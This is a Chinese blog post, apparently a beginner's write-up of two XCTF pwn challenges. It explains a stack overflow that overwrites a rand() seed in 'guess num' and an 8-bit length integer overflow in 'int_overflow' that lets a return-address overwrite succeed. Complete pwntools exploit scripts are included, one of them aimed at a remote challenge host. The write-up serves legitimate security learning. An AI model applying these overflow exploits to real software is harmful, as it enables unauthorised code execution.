前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >XCTF-PWN

XCTF-PWN

作者头像
ly0n
发布2020-11-04 11:09:31
1K0
发布2020-11-04 11:09:31
举报
文章被收录于专栏:ly0nly0n

前言

​ 几天的pwn学习之后,pwn菜鸡ly0n开始了刷题,今天刷了几道xctf的题目,记录下思路吧

guess num

​ 拿到题目就先开始file checksec操作。

开启了carry,不能进行栈溢出

拖进IDA分析下

可以看到在输入第一次之后,会进行10次的随机数生成,和你第二次输入的数字进行比较如果十次都相同则输出flag!

我们的下手点应该就在rand()函数上面。

rand()函数

  • 调用rand()函数前都会查询是否调用了函数srand(send) 是否给send设定了一个值,如果有就会自动调用srand(send)来初始化一次起始值。
  • 若之前没有调用srand(send),系统会自动给send赋初始值,即srand(1)自动调用一次。

srand()函数

  • srand()函数是随机数生成器的初始化函数
  • 函数方法:void srand(int send)
  • 这个函数需要一个种子,如srand(1),用1来初始化种子。
  • 如果这个使用srand()函数播下的种子一样的话,那么随机产生的数也是一样的,有时候为了使产生的随机数不同,会使用时间种子srand(time(NULL)),每次产生随机数的时间不同,所以产生的随机数也不相同。

可以看出,我们至少要输入20h个字符才能覆盖掉seed

解题思路

通过检查程序看到程序保护的比较全面,因此不能通过地址覆盖栈溢出解题 利用srand()函数根据send的值改变rand()函数产生的随机数,也就是说种子相同产生的随机数也是相同的 可以利用gets()函数来修改seed的值,修改种子,产生十次随机数 第一次输入时,我们发送payload覆盖掉seed 第二次输入时修改种子,然后产生十次随机数。

exp

代码语言:javascript
复制
from pwn import *
from ctypes import *

#sh = process('./guess')
sh = remote('220.249.52.133',39370)
context.log_level='debug'
libc=cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')

payload  = 'a' * 0x20
payload += p64(0)
sh.recvuntil('name:')
sh.sendline(payload)
libc.srand(1)
for i in range(10):
    sh.recvuntil('number:')
    sh.sendline(str(libc.rand()%6+1))
sh.interactive()

int_overflow

​ 打开题目进行正常的操作

​ 发现canary没开,所以就想着应该会时栈溢出,运行时发现,是选择一个子流程,让输入username和passwd所以我们要考虑的就是会不会在输入的时候对输入的字符串有限制。

IDA分析程序

main函数

没发现什么有用的东西。

再来看下login

让输入账号和密码,但是这密码长度为0x199就有点可疑了啊,怀疑在这有漏洞,接着看check_passwd

看到现设置了一个变量v3,看到了_int8 一个字节8bit,可以知道v3最大只能是255,输入256时即位0,来存储passwd,前面我们看login函数时得知,passwd的最大长度为0x199,很明显存储不下,所以在这里存在一个整形溢出的漏洞。

我们再次看check_passwd函数,输入的passwd传给了v3,又将passwd传入到了拷贝到$dest中大小为0x14,上面说到在passwd这里是存在整形溢出漏洞,所以这里输入的字符的个数不管是3~8还是259~264都是可以通过验证的。

如果输入内容的字符串个数大于了0x14,就会覆盖到栈中的内容。看一下数据填充结构:

在看一下check_passwd,看到有一个出栈的操作

有了这个操作需要多覆盖4字节

做题思路

  • 利用整形溢出漏洞来输入大量的passwd字符造成栈溢出,具体长度在256~264之间即可
  • 使用0x14 个数据覆盖stack拷贝的passed的内存区域。
  • 再使用4字节数据覆盖ebp。
  • 再使用”cat flag”的地址覆盖返回地址
  • 最后接上你所选长度(passlen)剩余的数据即可。

payload构造

代码语言:javascript
复制
payload  = 'a' * 0x14
paylaod += 'aaaa'
payload += p32(flag_addr)
payload += 'a' * (passlen - 0x14-4-4)

最终exp:

代码语言:javascript
复制
from pwn import *

sh = process('./int_overflow')
context.log_level='debug'
#sh = remote('220.249.52.133',36036)
flag_addr = 0x08048694

payload  = 'a' * 0x14
payload += 'aaaa'
payload += p32(flag_addr)
payload += 'a'* (263 - 0x14-4-4)
sh.sendlineafter("choice:","1")
sh.sendlineafter("username:\n","ly0n")
sh.sendlineafter("passwd:\n",payload)
sh.interactive()

菜鸡如我,今天绞尽脑汁就弄明白了两道题!

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2020-06-15,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • guess num
    • 解题思路
    • int_overflow
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档